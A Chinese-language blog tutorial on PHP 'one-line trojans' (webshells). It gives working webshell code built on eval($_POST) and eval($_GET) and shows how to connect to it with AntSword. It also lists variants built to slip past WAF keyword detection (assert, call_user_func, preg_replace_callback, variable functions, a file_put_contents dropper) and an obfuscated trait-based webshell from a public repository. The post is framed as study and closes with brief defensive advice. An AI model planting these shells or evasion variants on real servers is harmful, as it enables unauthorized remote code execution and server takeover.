通过一句话木马来看PHP的一些危操作
通过一句话木马来看PHP的一些危操作
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能
先看一个示例
准备工具
- 蚁剑 - 开源的跨平台网站管理工具
- 一个php文件ant.php
<?php eval($_POST['ant']);
-PHP内置web服务器
启动 ant.php
1 | $ php -S 127.0.0.1:8000 ant.php |
启动蚁剑 并添加数据
发现新天地
我的文件夹被发现啦
我的shell也被暴露啦
嘻嘻
原来这就是木马,我的服务器权限被拿到了
工作原理
仅仅靠着这一个文件就能提权webshell,简直可恶
- 依靠 eval 函数,执行了恶意代码
先试试一个最简单的$_GET吧
1 | <?php @eval($_GET['shell']); |
启动
1 | $ php -S 127.0.0.1:8000 eval.php |
我们打开浏览器,输入 http://127.0.0.1:8000/?shell=phpinfo();
这时候可以通过看php的一些配置,轻松了解到当前服务器的大致情况,再发现一些 0day漏洞 的话,就可以轻松实现攻击了
本质:传递命令、执行命令
一般来说,在php-fpm模式下,可以通过$_GET $_POST
来向一个网站提交数据,所以一个标准的一句话木马是由两部分组成
- 可执行代码的函数部分
- 接收数据的部分
如<?php @eval($_GET['shell']);
eval 就是可执行代码的部分、$_GET[‘shell’] 就是接收数据的部分
所有的一句话木马,本质上都是这种朴素可靠的方式
tips: 使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。
变种
为啥要变种呢,那还是不因为这种脚本已经被广大的waf拦截了
一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形
今天主要是学习一下怎么变种,而不代表这些真的能用,没去测试过哪些能绕过waf
变种的时候,需要十分了解php的版本差异,如php5和php7的安全有了差异,导致一个木马并不能所有服务器都能跑,所以需要不断的适应,才能写出更好的木马
变种常用函数
函数 | 说明 | 官方说明 |
---|---|---|
eval | (PHP 4, PHP 5, PHP 7, PHP 8) 把字符串作为PHP代码执行 | https://www.php.net/manual/zh/function.eval |
assert | (PHP 4, PHP 5, PHP 7, PHP 8) 由于安全级别的判定,这个马失效了很多 | https://www.php.net/manual/zh/function.assert |
正则匹配类 | preg_replace/ mb_ereg_replace/preg_filter等 | |
文件包含类 | include/include_once/require/require_once/file_get_contents等 |
assert
在php>=7.2版本后,禁用给assert()函数传入字符串参数,因为通过超全局常量$_GET[‘’]获取的攻击者输入是字符串,这样传入assert函数就触发了禁用。但是直接assert(phpinfo())传入的参数是函数,所以就不会触发函数禁用,可以正常回显
call_user_func
call_user_func 这个函数可以调用其它函数,被调用的函数是 call_user_func 的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。call_user_func + assert 构造的一句话木马在 php 7.0 版本及以下可以使用
call_user_func函数不能调用eval,因为eval是一个语言构造器而不是一个函数,不能被可变函数调用。call_user_func有两个参数,第一个参数要求是函数,而eval只是一个语言构造器而不是函数,所以不符合call_user_func的语法,调用eval就会报错
preg_replace_callback
https://www.php.net/manual/zh/function.preg-replace-callback
1 | <?php |
通过create_function“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert
file_put_contents
1 | <?php |
利用函数生成muma.php木马文件
php变量函数
eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。eval不能用,assert可以用(7.1之后不可用)
- PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
- 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
好文章:浅谈eval和assert
php7之后assert()默认不再可以执行代码,waf只要把函数封死就可以有效的阻止webshell免杀,而eval并没有assert那么灵活
所以大部分依靠assert的小马,大面积失效啦
todo 变种小马收集ing
一个大马
相当于在一个php文件里面写满了各种操作,针对一句话被查杀时,这个就能起一定的作用,大马里面一般都会写 文件管理、数据库管理,如 https://github.com/tennc/webshell/blob/master/php/angel%E5%A4%A7%E9%A9%AC.php
- https://github.com/tennc/webshell
这个开源的webshell仓库中,我们能发现很多很有意思的写法,如1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44trait Dog
{
public $name="dog";
public function drive()
{
echo "This is dog drive";
}
public function eat($a, $b)
{
$a($b);
}
}
class Animal
{
public function drive()
{
echo "This is animal drive";
}
public function eat()
{
echo "This is animal eat";
}
}
class Cat extends Animal
{
use Dog;
public function drive()
{
echo "This is cat drive";
}
}
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$cat = new Cat();
$cat->eat($_key, $_value);
总结
- 在平时开发过程中,注意eval函数的使用,高风险
- 默认禁用的函数,总是高风险的。disable_functions
- 想法设法绕过waf检测的小马,很考验语言知识了,不断的变种很有趣
- 学会了攻击原理,那么防御起来也就能对症下药了